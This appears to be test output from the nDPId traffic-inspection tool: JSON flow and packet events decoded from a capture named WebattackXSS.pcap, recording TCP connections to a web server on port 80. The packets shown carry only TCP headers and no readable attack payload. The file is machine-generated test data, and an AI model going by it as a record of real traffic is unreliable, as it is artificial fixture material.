+00444{"flow_id":390,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5511,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347626,"pkt_ts_usec":349704,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ50a6Rl2POFVhwKAScSAZfgAAAgQFtAQCCAoD5TycATtrJwEDAwc="} +00432{"flow_id":390,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5513,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347626,"pkt_ts_usec":351639,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CplAAD4Guz+sEAABwKgKMudGAFA4VWHAukZdkIAQAOW4hAAAAQEICgE7aygD5Tyc"} +00432{"flow_id":386,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5516,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347626,"pkt_ts_usec":787712,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HdFAAD4GqAesEAABwKgKMucOAFD+Nnvigz9CPoARAOUvnQAAAQEICgE7a5UD5Tej"} +00433{"flow_id":386,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5517,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347626,"pkt_ts_usec":787955,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fzRAAEAGRKTAqAoyrBAAAQBQ5w6DP0I+\/jZ744ARAOMqNwAAAQEICgPlPQoBO2uV"} +00432{"flow_id":386,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5518,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347626,"pkt_ts_usec":789581,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HdJAAD4GqAasEAABwKgKMucOAFD+Nnvjgz9CP4AQAOUqNQAAAQEICgE7a5UD5T0K"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5522,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":391,"flow_packet_id":1,"flow_first_seen":1499347627616,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59220,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":391,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5522,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347627,"pkt_ts_usec":616552,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GbxAAD4GrBSsEAABwKgKMudUAFBilXXYAAAAAKACchAxUgAAAgQFtAQCCAoBO2xkAAAAAAEDAwc="} +00444{"flow_id":391,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5523,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347627,"pkt_ts_usec":616713,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ51QwQXQsYpV12aAScSBMBQAAAgQFtAQCCAoD5T3ZATtsZAEDAwc="} +00432{"flow_id":391,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5524,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347627,"pkt_ts_usec":617592,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Gb1AAD4GrBusEAABwKgKMudUAFBilXXZMEF0LYAQAOXrDAAAAQEICgE7bGQD5T3Z"} +00432{"flow_id":387,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5528,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347627,"pkt_ts_usec":788628,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QPhAAD4GhOCsEAABwKgKMuccAFAFlCeeBcRpJYARAOXQ0wAAAQEICgE7bI8D5Tjg"} +00432{"flow_id":387,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5529,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347627,"pkt_ts_usec":788816,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0VyFAAEAGbLfAqAoyrBAAAQBQ5xwFxGklBZQnn4ARAOPLsAAAAQEICgPlPgQBO2yP"} +00432{"flow_id":387,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5530,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347627,"pkt_ts_usec":790090,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QPlAAD4GhN+sEAABwKgKMuccAFAFlCefBcRpJoAQAOXLrgAAAQEICgE7bI8D5T4E"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":346,"flow_packet_id":6,"flow_first_seen":1499347555255,"flow_last_seen":1499347560767,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58440,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":346,"flow_packet_id":6,"flow_first_seen":1499347555255,"flow_last_seen":1499347560767,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58440,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":347,"flow_packet_id":6,"flow_first_seen":1499347556523,"flow_last_seen":1499347561767,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58454,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":347,"flow_packet_id":6,"flow_first_seen":1499347556523,"flow_last_seen":1499347561767,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58454,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":348,"flow_packet_id":6,"flow_first_seen":1499347557789,"flow_last_seen":1499347563767,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58468,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":348,"flow_packet_id":6,"flow_first_seen":1499347557789,"flow_last_seen":1499347563767,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58468,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":349,"flow_packet_id":6,"flow_first_seen":1499347559043,"flow_last_seen":1499347564768,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58482,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":349,"flow_packet_id":6,"flow_first_seen":1499347559043,"flow_last_seen":1499347564768,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58482,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":350,"flow_packet_id":6,"flow_first_seen":1499347560327,"flow_last_seen":1499347565768,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58496,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":350,"flow_packet_id":6,"flow_first_seen":1499347560327,"flow_last_seen":1499347565768,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58496,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":351,"flow_packet_id":6,"flow_first_seen":1499347561622,"flow_last_seen":1499347566770,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58510,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5531,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":351,"flow_packet_id":6,"flow_first_seen":1499347561622,"flow_last_seen":1499347566770,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58510,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":388,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5534,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347628,"pkt_ts_usec":789510,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EPtAAD4GtN2sEAABwKgKMucqAFD89nhfbYN9YoARAOUKbwAAAQEICgE7bYkD5Toc"} +00433{"flow_id":388,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5535,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347628,"pkt_ts_usec":789755,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0Q5xAAEAGgDzAqAoyrBAAAQBQ5yptg31i\/PZ4YIARAOMFjgAAAQEICgPlPv4BO22J"} +00432{"flow_id":388,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5536,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347628,"pkt_ts_usec":791512,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EPxAAD4GtNysEAABwKgKMucqAFD89nhgbYN9Y4AQAOUFiwAAAQEICgE7bYoD5T7+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5543,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":392,"flow_packet_id":1,"flow_first_seen":1499347630130,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59246,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":392,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5543,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347630,"pkt_ts_usec":130498,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8rFRAAD4GGXysEAABwKgKMuduAFDOysKMAAAAAKACchB12gAAAgQFtAQCCAoBO27YAAAAAAEDAwc="} +00444{"flow_id":392,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5545,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347630,"pkt_ts_usec":130686,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5252igpmzsrCjaAScSCxlQAAAgQFtAQCCAoD5UBOATtu2AEDAwc="} +00432{"flow_id":392,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5546,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347630,"pkt_ts_usec":131560,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0rFVAAD4GGYOsEAABwKgKMuduAFDOysKNdooKZ4AQAOVQnAAAAQEICgE7btkD5UBO"} +00432{"flow_id":389,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5549,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347630,"pkt_ts_usec":790451,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QvtAAD4Ggt2sEAABwKgKMuc4AFBpNSsVYRkbh4ARAOVWdwAAAQEICgE7b30D5Ttj"} +00432{"flow_id":389,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5550,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347630,"pkt_ts_usec":790638,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0W3RAAEAGaGTAqAoyrBAAAQBQ5zhhGRuHaTUrFoARAONQ6AAAAQEICgPlQPMBO299"} +00432{"flow_id":389,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5551,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347630,"pkt_ts_usec":791498,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QvxAAD4GgtysEAABwKgKMuc4AFBpNSsWYRkbiIAQAOVQ5QAAAQEICgE7b34D5UDz"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5555,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":393,"flow_packet_id":1,"flow_first_seen":1499347631388,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59260,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":393,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5555,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347631,"pkt_ts_usec":388487,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+pxAAD4GyzOsEAABwKgKMud8AFDgpIqPAAAAAKACchCatAAAAgQFtAQCCAoBO3ATAAAAAAEDAwc="} +00444{"flow_id":393,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5556,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347631,"pkt_ts_usec":388587,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ53x5W3jF4KSKkKAScSBkBQAAAgQFtAQCCAoD5UGIATtwEwEDAwc="} +00432{"flow_id":393,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5558,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347631,"pkt_ts_usec":389504,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0+p1AAD4GyzqsEAABwKgKMud8AFDgpIqQeVt4xoAQAOUDDQAAAQEICgE7cBMD5UGI"} +00432{"flow_id":390,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5561,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347631,"pkt_ts_usec":790426,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CppAAD4Guz6sEAABwKgKMudGAFA4VWHAukZdkIARAOWzNAAAAQEICgE7cHcD5Tyc"} +00432{"flow_id":390,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5562,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347631,"pkt_ts_usec":790670,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0HH1AAEAGp1vAqAoyrBAAAQBQ50a6Rl2QOFVhwYARAOOt5AAAAQEICgPlQe0BO3B3"} +00432{"flow_id":390,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5563,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347631,"pkt_ts_usec":791524,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0CptAAD4Guz2sEAABwKgKMudGAFA4VWHBukZdkYAQAOWt4QAAAQEICgE7cHgD5UHt"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5568,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":394,"flow_packet_id":1,"flow_first_seen":1499347632635,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59274,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":394,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5568,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347632,"pkt_ts_usec":635400,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8d6hAAD4GTiisEAABwKgKMueKAFDGJwbjAAAAAKACchA3mAAAAgQFtAQCCAoBO3FLAAAAAAEDAwc="} +00444{"flow_id":394,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5569,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347632,"pkt_ts_usec":635550,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ54oMamRgxicG5KAScSCBBwAAAgQFtAQCCAoD5ULAATtxSwEDAwc="} +00432{"flow_id":394,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5570,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347632,"pkt_ts_usec":636428,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0d6lAAD4GTi+sEAABwKgKMueKAFDGJwbkDGpkYYAQAOUgDwAAAQEICgE7cUsD5ULA"} +00433{"flow_id":391,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5574,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347632,"pkt_ts_usec":790472,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Gb5AAD4GrBqsEAABwKgKMudUAFBilXXZMEF0LYARAOXl\/gAAAQEICgE7cXED5T3Z"} +00432{"flow_id":391,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5575,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347632,"pkt_ts_usec":790693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0NspAAEAGjQ7AqAoyrBAAAQBQ51QwQXQtYpV12oARAOPg8QAAAQEICgPlQucBO3Fx"} +00432{"flow_id":391,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5576,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347632,"pkt_ts_usec":792470,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0Gb9AAD4GrBmsEAABwKgKMudUAFBilXXaMEF0LoAQAOXg7gAAAQEICgE7cXID5ULn"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5587,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":395,"flow_packet_id":1,"flow_first_seen":1499347635154,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59300,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":395,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5587,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347635,"pkt_ts_usec":154437,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA84sRAAD4G4wusEAABwKgKMuekAFB1fpEEAAAAAKACchD7kAAAAgQFtAQCCAoBO3PAAAAAAAEDAwc="} +00444{"flow_id":395,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5588,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347635,"pkt_ts_usec":154541,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ56RhPiSidX6RBaAScSAtdAAAAgQFtAQCCAoD5UU2ATtzwAEDAwc="} 